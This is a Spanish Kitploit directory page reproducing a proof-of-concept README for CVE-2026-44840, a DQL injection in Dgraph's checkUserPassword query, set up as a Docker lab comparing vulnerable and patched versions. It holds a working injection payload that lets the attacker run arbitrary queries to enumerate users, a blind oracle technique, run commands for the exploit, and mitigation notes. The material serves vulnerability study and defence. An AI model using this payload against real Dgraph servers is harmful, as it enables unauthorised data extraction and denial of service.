Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-44840-poc — Docker lab reproducing CVE-2026-44840, a DQL injection in Dgraph's checkUserPassword GraphQL query, with exploit script and vulnerable vs patched comparison. | Kitploit
Herramientas/GitHubGitHub/isaca0315/cve-2026-44840-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingDatabase SecurityLabs & Practice
GitHubisaca0315/cve-2026-44840-poc

CVE-2026-44840-poc

Docker lab reproducing CVE-2026-44840, a DQL injection in Dgraph's checkUserPassword GraphQL query, with exploit script and vulnerable vs patched comparison.

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-44840 — PoC: Dgraph DQL Injection via checkUserPassword (GraphQL)

Laboratorio Docker que reproduce una inyeccion real en Dgraph:

  • Vulnerable: dgraph/dgraph:v25.3.3
  • Parcheado : dgraph/dgraph:v25.3.4

CVE real de 2026 · CVSS 3.1 7.5 (High) · CWE-943 (Improper Neutralization in Data Query Logic) · atribuida a Kai Aizen (GHSA-q2m9-6jp9-c6mc, GO-2026-5837). Solo para entorno de lab aislado y autorizado.

Contexto

checkUserPassword es la query GraphQL que genera automaticamente el esquema de Dgraph para tipos con la directiva . En (≤ v25.3.3) la password se concatenaba con :

@secret(field: "password")
graphql/resolve/query_rewriter.go
fmt.Sprintf
sin escapar ni parametrizar
root@kitploit:~
pwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password)   // VULNERABLE

La password del atacante queda intercalada literalmente en el DQL:

root@kitploit:~
pwd as checkpwd(User.password, "<password del atacante>")

El fix (v25.3.4, commit cee702c) parametriza el valor:

root@kitploit:~
pwdVar = "$pwd0"                                  // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}

Que hace el PoC

  1. Levanta dos clusters Dgraph (zero+alpha): v25.3.3 y v25.3.4.

  2. Sube el esquema type User @secret(field: "password") y crea admin, alice, bob.

  3. Envia a checkUserPassword una password que salta del literal DQL y anade un bloque de query arbitrario:

    root@kitploit:~
    x")
    }
    injected(func: has(User.name)) {
      User.name
      User.email
      uid
    }
    #
    

    En v25.3.3 el bloque injected { ... } se parsea y se ejecuta server-side.

Observables

Pruebav25.3.3 (vulnerable)v25.3.4 (parcheado)
login con password correctaOK (touched_uids 7)OK (touched_uids 7)
login con password incorrectanull (5)null (5)
password inyectada )} injected{...} #se ejecuta: touched_uids 14neutralizada: 5
oraculo: eq(User.name,"bob") inyectadotouched_uids 7 (existe)5
oraculo: eq(User.name,"nobody") inyectado5 (no existe)5
log de dgraph alphamuestra el DQL con el bloque injectedDQL parametrizado, sin bloque

Impacto del CVE: ejecucion de DQL arbitrario server-side → enumeracion ciega de datos (via touched_uids/timing), descubrimiento de esquema (has(), eq()) y DoS por consumo de recursos inyectando travesias costosas (expand(_all_), recursiones).

Uso

root@kitploit:~
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh

# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py

# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280

# 4) limpiar
docker compose down            # conserva los volumenes
docker compose down -v         # borra los volumenes (datos de dgraph)

Endpoints del lab

ServicioHTTP GraphQLHTTP admingRPC alpha
alpha v25.3.3http://localhost:8180/graphqlhttp://localhost:8180/admin9180
alpha v25.3.4http://localhost:8280/graphqlhttp://localhost:8280/admin9280

Estructura

root@kitploit:~
CVE-2026-44840-poc/
├── docker-compose.yml     # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql         # type User @secret(field:"password")
├── run.sh                 # orquestador completo
├── REDTEAM.md             # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py         # esquema + usuarios
└── exploit/exploit.py     # inyeccion DQL e oraculo

Guía operativa ofensiva (reconocimiento, explotación paso a paso, payloads, evidencia y OPSEC): REDTEAM.md.

Detalle del payload

La password viaja como variable GraphQL; el valor que llega al rewriter no se escapa y se inserta dentro de checkpwd(User.password, "..."). El payload:

root@kitploit:~
x")            # cierra el literal de checkpwd y la funcion
}              # cierra el bloque checkPwd
injected(...)  # nuevo bloque root del atacante
  { ... }
#              # comenta el resto del template:  ")

El # evita que el sufijo del template (la ") de cierre de checkpwd) rompa el parseo.

Mitigacion

  • Actualizar a dgraph v25.3.4+.
  • Version corta: parametrizar siempore valores en DQL (vars de dgoapi.Request), nunca interpolar input con fmt.Sprintf.
  • Habilitar indice/ACL y no exponer GraphQL sin autenticacion en produccion.# CVE-2026-44840-poc
Descargar herramienta